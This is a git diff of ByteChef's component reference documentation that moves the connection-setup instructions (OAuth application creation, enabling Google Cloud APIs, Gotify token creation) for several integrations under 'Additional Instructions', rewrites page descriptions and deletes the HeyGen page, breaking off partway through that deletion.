 
 
@@ -29,31 +28,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
-
-### Enable Geocoding API, Places API and Routes API
-
-1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
-2. Click this icon.
-3. Click on **APIs & Services**.
-4. Enter **Geocoding API** in search bar.
-5. Click on **Geocoding API**.
-6. Click on **Enable**.
-7. Enter **Places API** in search bar.
-8. Click on **Places API**.
-9. Click on **Enable**.
-10. Enter **Routes API** in search bar.
-11. Click on **Routes API**.
-12. Click on **Enable**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/8f4f75b3-b4f9-43bd-a50e-6344dc2d298d?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -147,8 +121,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Geolocation
 Name: getGeolocation
 
@@ -232,8 +204,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Route
 Name: getRoute
 
@@ -646,8 +616,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Nearby Search
 Name: nearbySearch
 
@@ -684,14 +652,37 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 <hr />
 
 # Additional Instructions
 
+## Connection Setup
+
+### Create OAuth 2.0 Application
+
+Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
+
+### Enable Geocoding API, Places API and Routes API
+
+1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
+2. Click this icon.
+3. Click on **APIs & Services**.
+4. Enter **Geocoding API** in search bar.
+5. Click on **Geocoding API**.
+6. Click on **Enable**.
+7. Enter **Places API** in search bar.
+8. Click on **Places API**.
+9. Click on **Enable**.
+10. Enter **Routes API** in search bar.
+11. Click on **Routes API**.
+12. Click on **Enable**.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/8f4f75b3-b4f9-43bd-a50e-6344dc2d298d?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
+
 ## Troubleshooting
 
 ### Access Blocked: Verification Process Not Completed
 
-Documentation for how to add a test user can be found [here](/reference/components/google-application-setup_v1#access-blocked-verification-process-not-completed)
+Documentation for how to add a test user can be found [here](/reference/components/google-application-setup_v1#access-blocked-verification-process-not-completed)
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/google-meet_v1.mdx b/docs/content/docs/reference/components/google-meet_v1.mdx
index 1abf89c0481..228a5fa78a0 100644
--- a/docs/content/docs/reference/components/google-meet_v1.mdx
+++ b/docs/content/docs/reference/components/google-meet_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Google Meet"
-description: "Google Meet is a communication service designed to help you have interactions with your friends, family, colleagues and classmates."
+description: "Google Meet component for ByteChef. Video conferencing. Learn how to implement this in your ByteChef workflows."
+title: Google Meet
 ---
 
-
 Categories: Communication
 
 
@@ -30,25 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
-
-### Enable Google Meet REST API
-
-1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
-2. Go to the **APIs & Services**.
-3. Click on **ENABLE APIS AND SERVICES**.
-4. Search for "google meet rest api" in the search bar.
-5. Click on **Google Meet REST API**.
-6. Click **Enable**.
-
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)' }}>
-    <iframe src="https://www.guidejar.com/embed/1CkDQzRt6lbwhSWkjhQu?type=1&controls=on" width="100%" height="100%" style={{ position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -113,8 +93,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Meeting Space
 Name: getMeetingSpace
 
@@ -171,8 +149,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### List Participants
 Name: listParticipants
 
@@ -231,14 +207,31 @@ Items Type: OBJECT
 
 
 
-
-
 <hr />
 
 # Additional Instructions
 
+## Connection Setup
+
+### Create OAuth 2.0 Application
+
+Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
+
+### Enable Google Meet REST API
+
+1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
+2. Go to the **APIs & Services**.
+3. Click on **ENABLE APIS AND SERVICES**.
+4. Search for "google meet rest api" in the search bar.
+5. Click on **Google Meet REST API**.
+6. Click **Enable**.
+
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)' }}>
+    <iframe src="https://www.guidejar.com/embed/1CkDQzRt6lbwhSWkjhQu?type=1&controls=on" width="100%" height="100%" style={{ position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
+</div>
+
 ## Troubleshooting
 
 ### Access Blocked: Verification Process Not Completed
 
-Documentation for how to add a test user can be found [here](/reference/components/google-application-setup_v1#access-blocked-verification-process-not-completed)
+Documentation for how to add a test user can be found [here](/reference/components/google-application-setup_v1#access-blocked-verification-process-not-completed)
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/google-photos_v1.mdx b/docs/content/docs/reference/components/google-photos_v1.mdx
index 17df0a7c426..32f71010584 100644
--- a/docs/content/docs/reference/components/google-photos_v1.mdx
+++ b/docs/content/docs/reference/components/google-photos_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Google Photos"
-description: "Google Photos is a photo sharing and storage service."
+description: "Google Photos component for ByteChef. Upload, organize, and automate photo management in your workflows."
+title: Google Photos
 ---
 
-
 Categories: File Storage
 
 
@@ -30,25 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
-
-### Enable Google Photos API
-
-1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
-2. Go to the **APIs & Services**.
-3. Click on **ENABLE APIS AND SERVICES**.
-4. Search for "google photos library api" in the search bar.
-5. Click on **Google Photos Library API**.
-6. Click **Enable**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/st6rRToaukvGyoicvSY8?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -128,8 +108,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Album
 Name: getAlbum
 
@@ -201,8 +179,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Upload Media
 Name: uploadMedia
 
@@ -300,14 +276,31 @@ Type: OBJECT
 
 
 
-
-
 <hr />
 
 # Additional Instructions
 
+## Connection Setup
+
+### Create OAuth 2.0 Application
+
+Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
+
+### Enable Google Photos API
+
+1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
+2. Go to the **APIs & Services**.
+3. Click on **ENABLE APIS AND SERVICES**.
+4. Search for "google photos library api" in the search bar.
+5. Click on **Google Photos Library API**.
+6. Click **Enable**.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/st6rRToaukvGyoicvSY8?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
+
 ## Troubleshooting
 
 ### Access Blocked: Verification Process Not Completed
 
-Documentation for how to add a test user can be found [here](/reference/components/google-application-setup_v1#access-blocked-verification-process-not-completed)
+Documentation for how to add a test user can be found [here](/reference/components/google-application-setup_v1#access-blocked-verification-process-not-completed)
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/google-search-console_v1.mdx b/docs/content/docs/reference/components/google-search-console_v1.mdx
index a8b92602946..b8c2dde64af 100644
--- a/docs/content/docs/reference/components/google-search-console_v1.mdx
+++ b/docs/content/docs/reference/components/google-search-console_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Google Search Console"
-description: "The Search Console API provides access to both Search Console data (verified users only) and to public information on an URL basis (anyone)."
+description: "Google Search Console component for ByteChef. Monitor search performance and SEO analytics in workflows."
+title: Google Search Console
 ---
 
-
 Categories: Productivity and Collaboration
 
 
@@ -30,26 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
-
-### Enable Google Search Console API
-
-1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
-2. Go to the **APIs & Services**.
-3. Click on **ENABLE APIS AND SERVICES**.
-4. Search for "google search console api" in the search bar.
-5. Click on **Google Search Console API**.
-6. Click **Enable**.
-
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/AQ8Q5FVSFi5jj3NasPXz?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -99,8 +78,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Delete Site
 Name: deleteSite
 
@@ -131,8 +108,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Get Site
 Name: getSite
 
@@ -182,8 +157,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Add Site
 Name: addSite
 
@@ -214,8 +187,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Search Analytics
 Name: searchAnalytics
 
@@ -296,8 +267,6 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
@@ -308,8 +277,28 @@ To create a Custom Action, simply specify the desired HTTP method, path, and any
 
 # Additional Instructions
 
+## Connection Setup
+
+### Create OAuth 2.0 Application
+
+Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
+
+### Enable Google Search Console API
+
+1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
+2. Go to the **APIs & Services**.
+3. Click on **ENABLE APIS AND SERVICES**.
+4. Search for "google search console api" in the search bar.
+5. Click on **Google Search Console API**.
+6. Click **Enable**.
+
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/AQ8Q5FVSFi5jj3NasPXz?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
+
 ## Troubleshooting
 
 ### Access Blocked: Verification Process Not Completed
 
-Documentation for how to add a test user can be found [here](/reference/components/google-application-setup_v1#access-blocked-verification-process-not-completed)
+Documentation for how to add a test user can be found [here](/reference/components/google-application-setup_v1#access-blocked-verification-process-not-completed)
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/google-sheets_v1.mdx b/docs/content/docs/reference/components/google-sheets_v1.mdx
index 3eea925bbf8..4b64c9f00c2 100644
--- a/docs/content/docs/reference/components/google-sheets_v1.mdx
+++ b/docs/content/docs/reference/components/google-sheets_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Google Sheets"
-description: "Google Sheets is a cloud-based spreadsheet software that allows users to create, edit, and collaborate on spreadsheets in real-time."
+description: "Google Sheets component for ByteChef. Spreadsheet automation. Learn how to implement this in your ByteChef workflows."
+title: Google Sheets
 ---
 
-
 Categories: Productivity and Collaboration
 
 
@@ -30,25 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
-
-### Enable Google Sheets API
-
-1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
-2. Go to the **APIs & Services**.
-3. Click on **ENABLE APIS AND SERVICES**.
-4. Search for "google sheets api" in the search bar.
-5. Click on **Google Sheets API**.
-6. Click **Enable**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/61d6b773-ad2d-49c3-9c9c-d0b906cd5086?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -91,8 +71,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Create Column
 Name: createColumn
 
@@ -148,8 +126,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Sheet
 Name: createSheet
 
@@ -205,8 +181,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Spreadsheet
 Name: createSpreadsheet
 
@@ -239,8 +213,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Delete Column
 Name: deleteColumn
 
@@ -275,8 +247,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Delete Row
 Name: deleteRow
 
@@ -311,8 +281,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Delete Sheet
 Name: deleteSheet
 
@@ -345,8 +313,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Find Row by Number
 Name: findRowByNum
 
@@ -383,8 +349,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Get Rows
 Name: getRows
 
@@ -419,8 +383,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Insert Multiple Rows
 Name: insertMultipleRows
 
@@ -459,8 +421,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Insert Row
 Name: insertRow
 
@@ -499,8 +459,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### List Sheets
 Name: listSheets
 
@@ -555,8 +513,6 @@ Items Type: OBJECT
 ```
 
 
-
-
 ### Update Row
 Name: updateRow
 
@@ -598,8 +554,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ## Triggers
 
 
@@ -640,7 +594,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
@@ -651,8 +604,27 @@ To create a Custom Action, simply specify the desired HTTP method, path, and any
 
 # Additional Instructions
 
+## Connection Setup
+
+### Create OAuth 2.0 Application
+
+Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
+
+### Enable Google Sheets API
+
+1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
+2. Go to the **APIs & Services**.
+3. Click on **ENABLE APIS AND SERVICES**.
+4. Search for "google sheets api" in the search bar.
+5. Click on **Google Sheets API**.
+6. Click **Enable**.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/61d6b773-ad2d-49c3-9c9c-d0b906cd5086?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
+
 ## Troubleshooting
 
 ### Access Blocked: Verification Process Not Completed
 
-Documentation for how to add a test user can be found [here](/reference/components/google-application-setup_v1#access-blocked-verification-process-not-completed)
+Documentation for how to add a test user can be found [here](/reference/components/google-application-setup_v1#access-blocked-verification-process-not-completed)
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/google-slides_v1.mdx b/docs/content/docs/reference/components/google-slides_v1.mdx
index 5ba26da4ff2..e1c037f84df 100644
--- a/docs/content/docs/reference/components/google-slides_v1.mdx
+++ b/docs/content/docs/reference/components/google-slides_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Google Slides"
-description: "Google Slides is a cloud-based presentation software that allows users to create, edit, and collaborate on presentations online in real-time."
+description: "Google Slides component for ByteChef. Presentation management. Learn how to implement this in your ByteChef workflows."
+title: Google Slides
 ---
 
-
 Categories: File Storage
 
 
@@ -30,25 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
-
-### Enable Google Slides API
-
-1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
-2. Go to the **APIs & Services**.
-3. Click on **ENABLE APIS AND SERVICES**.
-4. Search for "google slides api" in the search bar.
-5. Click on **Google Slides API**.
-6. Click **Enable**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/oO5B0kqdh0w4eOIIEz21?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -95,8 +75,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
@@ -107,8 +85,27 @@ To create a Custom Action, simply specify the desired HTTP method, path, and any
 
 # Additional Instructions
 
+## Connection Setup
+
+### Create OAuth 2.0 Application
+
+Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
+
+### Enable Google Slides API
+
+1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
+2. Go to the **APIs & Services**.
+3. Click on **ENABLE APIS AND SERVICES**.
+4. Search for "google slides api" in the search bar.
+5. Click on **Google Slides API**.
+6. Click **Enable**.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/oO5B0kqdh0w4eOIIEz21?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
+
 ## Troubleshooting
 
 ### Access Blocked: Verification Process Not Completed
 
-Documentation for how to add a test user can be found [here](/reference/components/google-application-setup_v1#access-blocked-verification-process-not-completed)
+Documentation for how to add a test user can be found [here](/reference/components/google-application-setup_v1#access-blocked-verification-process-not-completed)
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/google-tasks_v1.mdx b/docs/content/docs/reference/components/google-tasks_v1.mdx
index 92c8201a4d5..528e1bbf30f 100644
--- a/docs/content/docs/reference/components/google-tasks_v1.mdx
+++ b/docs/content/docs/reference/components/google-tasks_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Google Tasks"
-description: "Google Tasks is a cloud-based task management tool that allows users to create, edit, and organize to-do lists, set deadlines, and track tasks across devices in real-time."
+description: "Google Tasks component for ByteChef. Task management. Learn how to implement this in your ByteChef workflows."
+title: Google Tasks
 ---
 
-
 Categories: Productivity and Collaboration
 
 
@@ -30,25 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
-
-### Enable Google Tasks API
-
-1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
-2. Go to the **APIs & Services**.
-3. Click on **ENABLE APIS AND SERVICES**.
-4. Search for "google tasks api" in the search bar.
-5. Click on **Google Tasks API**.
-6. Click **Enable**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/KXgBAQJrLICQjFAeVlcT?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -116,8 +96,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### List Tasks
 Name: listTasks
 
@@ -176,8 +154,6 @@ Items Type: OBJECT
 ```
 
 
-
-
 ### Update Task
 Name: updateTask
 
@@ -240,8 +216,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -293,7 +267,6 @@ Type: OBJECT
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
@@ -304,8 +277,27 @@ To create a Custom Action, simply specify the desired HTTP method, path, and any
 
 # Additional Instructions
 
+## Connection Setup
+
+### Create OAuth 2.0 Application
+
+Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
+
+### Enable Google Tasks API
+
+1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
+2. Go to the **APIs & Services**.
+3. Click on **ENABLE APIS AND SERVICES**.
+4. Search for "google tasks api" in the search bar.
+5. Click on **Google Tasks API**.
+6. Click **Enable**.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/KXgBAQJrLICQjFAeVlcT?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
+
 ## Troubleshooting
 
 ### Access Blocked: Verification Process Not Completed
 
-Documentation for how to add a test user can be found [here](/reference/components/google-application-setup_v1#access-blocked-verification-process-not-completed)
+Documentation for how to add a test user can be found [here](/reference/components/google-application-setup_v1#access-blocked-verification-process-not-completed)
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/gotify_v1.mdx b/docs/content/docs/reference/components/gotify_v1.mdx
index 2911fbfc232..8a1b77a5636 100644
--- a/docs/content/docs/reference/components/gotify_v1.mdx
+++ b/docs/content/docs/reference/components/gotify_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Gotify"
-description: "A simple server for sending and receiving messages."
+description: "Gotify component for ByteChef. Simple messaging service. Learn how to implement this in your ByteChef workflows."
+title: Gotify
 ---
 
-
 Categories: Communication
 
 
@@ -30,24 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Prerequisites
-
-Install [Gotify](https://gotify.net/docs/install) on your server.
-
-### Create Gotify Token
-
-1. Click on "Apps".
-2. Click on "Create Application".
-3. Enter name and description of your application. Select default priority of your messages.
-4. Click on "Create".
-5. Here you can copy your token.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/06862062-eb52-4d5f-9184-f2287e4c0df0?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -134,5 +115,24 @@ Type: OBJECT
 
 
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Prerequisites
+
+Install [Gotify](https://gotify.net/docs/install) on your server.
 
+### Create Gotify Token
+
+1. Click on "Apps".
+2. Click on "Create Application".
+3. Enter name and description of your application. Select default priority of your messages.
+4. Click on "Create".
+5. Here you can copy your token.
 
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/06862062-eb52-4d5f-9184-f2287e4c0df0?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/graphql-client_v1.mdx b/docs/content/docs/reference/components/graphql-client_v1.mdx
index e92d5f792d3..32f2bb95765 100644
--- a/docs/content/docs/reference/components/graphql-client_v1.mdx
+++ b/docs/content/docs/reference/components/graphql-client_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "GraphQL Client"
-description: "Execute GraphQL queries against a GraphQL API, allowing you to fetch exactly the data you need using queries and variables."
+description: "GraphQL Client component. Query APIs with GraphQL. Learn how to implement this in your ByteChef workflows."
+title: GraphQL Client
 ---
 
-
 Categories: Helpers
 
 
@@ -48,12 +47,4 @@ Name: rawQuery
 
 #### Output
 
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
-
-
-
-
-
-
-
-
+The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/groq_v1.mdx b/docs/content/docs/reference/components/groq_v1.mdx
index 400455d0999..0d751bd2225 100644
--- a/docs/content/docs/reference/components/groq_v1.mdx
+++ b/docs/content/docs/reference/components/groq_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Groq"
-description: "The LPU Inference Engine by Groq is a hardware and software platform that delivers exceptional compute speed, quality, and energy efficiency."
+description: "Groq component for ByteChef. LPU inference engine. Learn how to implement this in your ByteChef workflows."
+title: Groq
 ---
 
-
 Categories: Artificial Intelligence
 
 
@@ -31,7 +30,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -110,12 +108,4 @@ Name: ask
 
 #### Output
 
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
-
-
-
-
-
-
-
-
+The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/hacker-news_v1.mdx b/docs/content/docs/reference/components/hacker-news_v1.mdx
index 4d816d12abc..0c58c60a621 100644
--- a/docs/content/docs/reference/components/hacker-news_v1.mdx
+++ b/docs/content/docs/reference/components/hacker-news_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Hacker News"
-description: "Hacker News is a social news website focused on computer science, startups, and technology-related topics."
+description: "Hacker News component for ByteChef. Tech news and discussions. Learn how to implement this in your ByteChef workflows."
+title: Hacker News
 ---
 
-
 Categories: Social Media
 
 
@@ -80,10 +79,4 @@ Items Type: OBJECT
   "type" : "",
   "url" : ""
 } ]
-```
-
-
-
-
-
-
+```
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/heygen_v1.mdx b/docs/content/docs/reference/components/heygen_v1.mdx
deleted file mode 100644
index 2908e18f2c1..00000000000
--- a/docs/content/docs/reference/components/heygen_v1.mdx
+++ /dev/null
@@ -1,319 +0,0 @@
----
-title: "HeyGen"
-description: "HeyGen is an AI Video Generator that lets you create explainer videos, marketing and sales promos, product demos, training and onboarding content."
----
-
-
-Categories: Artificial Intelligence
-
-
-Type: heyGen/v1
-
-<hr />
-
-
-
-
-## Connections
-
-Version: 1
-
-
-### API Key
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| key | API key | STRING |  | true |
-
-
-
-## Connection Setup
-
-1. Navigate to your dashboard.
-2. Go to your account and click on **Settings**.
-3. Click on **Usage & Billing**.
-4. Click on **HeyGen API**.
-5. Under API Token, click **Activate**.
-6. Copy your API key and use it in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/iZfVk8BtyrmPnbDwfZmh?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
-
-
-<hr />
-
-
-## Actions
-
-
-### Generate Video From Template
-Name: generateVideoFromTemplateAction
-
-`Generates a video based on the specified template.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| template_id | Template ID | STRING | The ID of the template. | true |
-| folder_id | Folder ID | STRING | Unique identifier of the folder where the video is stored. | false |
-| caption | Caption | BOOLEAN <details> <summary> Options </summary> <span>true</span>, <span>false</span> </details> | Whether to enable captions in the video. | false |
-| enable_sharing | Enable Sharing | BOOLEAN <details> <summary> Options </summary> <span>true</span>, <span>false</span> </details> | Whether to make the video publicly shareable immediately after creation. | false |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Generate Video From Template",
